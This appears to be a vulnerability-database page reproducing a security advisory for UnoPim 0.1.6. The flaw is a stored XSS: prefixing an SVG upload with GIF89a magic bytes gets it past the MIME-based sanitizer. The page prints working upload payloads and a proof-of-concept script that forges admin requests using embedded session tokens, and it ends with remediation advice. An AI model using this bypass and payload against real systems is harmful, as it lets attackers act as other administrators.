Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-xr97-25v7-hc2q

MediumCVSS 6.8 / 10
Published Aug 21, 2025·Last modified Aug 26, 2025
Affected Components(0)

No affected components available

Description

Summary

Affected Functionality: User creation Endpoint: /admin/settings/users/create

Details

https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19 See the mimetype is checked for validation. Mime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes for e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file.

File containing <svg> is considered as svg and is sanitized: image

Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(5)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

image

Sanitization bypass using MIME type manipulation: image

Content-Disposition: form-data; name="image[]"; filename="poc.html"
Content-Type: image/svg+xml

GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(5)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

image

PoC

Upload POC.html as image. File content:

GIF89a
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200"  onload="alert(document.cookie)">
  <rect width="200" height="200" fill="#3498db" onmouseover="alert(document.domain)"></rect>
  <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>
</svg>

I changed extension to .html because even though POC.svg successfully bypassed the sanitization. When accessing the URL, the page didn't render as it should starts with <. image image Since html doesn't have any such limitation we can access it. Access the image URL to see the XSS popup. image

Impact

Suppose another admin visits the image link, the attacker can perform any operation as the victim. The session cookie is marked as http-only that disallow fetching cookies using javascript which is good thing. ( this prevent exfiltrating the cookie but still an attacker can perform any action behalf of the victim )

Example

create a product behalf of victim.

John doe (default admin ) creates another admin ( victimadmin@test.com ) When the victim-admin logs in and access the endpoint containing stored XSS, the script runs on behalf of victm-admin and the product is created. image image // info shows that victim-admin created the product. Since this image can be accessed by other admins, it can be performed behalf on any admin. It'll be recorded as done by whoever visited the link. Please see the detailed POC video for more details: https://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2

Extended POC for performing the action shown in video: POC.html:

<html>
<script>
const url = 'http://localhost:8000/admin/catalog/products/create';

// Create a FormData object to hold the form data
const formData = new FormData();
formData.append('type', 'simple');
formData.append('attribute_family_id', '1');
formData.append('sku', 'Created-by-ADMIN-VICTIM888');

// Define the headers
const headers = {
    'X-XSRF-TOKEN': 'eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0=',
    'X-Requested-With': 'XMLHttpRequest',
    'Accept': 'application/json, text/plain, */*',
    'Origin': 'http://localhost:8000',
    'Referer': 'http://localhost:8000/admin/catalog/products',
    'Cookie': 'XSRF-TOKEN=eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0%3D; unopim_session=eyJpdiI6Ii9MTnNiMEJhNnZGZWVGaGQvbWdkUkE9PSIsInZhbHVlIjoiczJnZmczekRrTHMzN1phc1lmM1I0K1BkRGhRK3llOCtLcnpXODUwQnNrMWJUK29ab2Z0TDdYOUJaa3hxSGFsRzRpK1o0bGFTcTJ1N3J4QkhaYmxNRGdNNnpLUDFnYXl3QzdLNDJCQWRqbExnZ1dURGlyZW5UTWdycWlLQkFRc0oiLCJtYWMiOiJiNjNiZmM0ZjUxMTNlOTZmZGFiNzcxYzRkZDAwYTE3MGM5OTcxNWUyYTYzYjQ4ZGY5ZDkzYTdiZDJlNjUyNWQwIiwidGFnIjoiIn0%3D'
};

// Send the POST request
fetch(url, {
    method: 'POST',
    headers: headers,
    body: formData,
    credentials: 'include' // Include cookies in the request
})
.then(response => {
    if (!response.ok) {
        throw new Error('Network response was not ok ' + response.statusText);
    }
    return response.json(); // Assuming the response is JSON
})
.then(data => {
    console.log('Success:', data);
})
.catch(error => {
    console.error('Error:', error);
});
</script>
<html>

// make sure to update the cookies and CSRF tokens in the script to the attacker's.

Recommendation: Check file extension: whitelist allowed extensions. Check mime type matches with file extension ( in this case GIF89 ( mime type GIF ) and extension: svg. They are not matching so reject it. Check file extension ( endswith .svg ) and if it is svg then perform the sanitization that is in place.

Affected Version: 0.1.6 image

Risk Scores
Base Score
6.8

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs high-level or administrative privileges. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
6.2

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.37%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard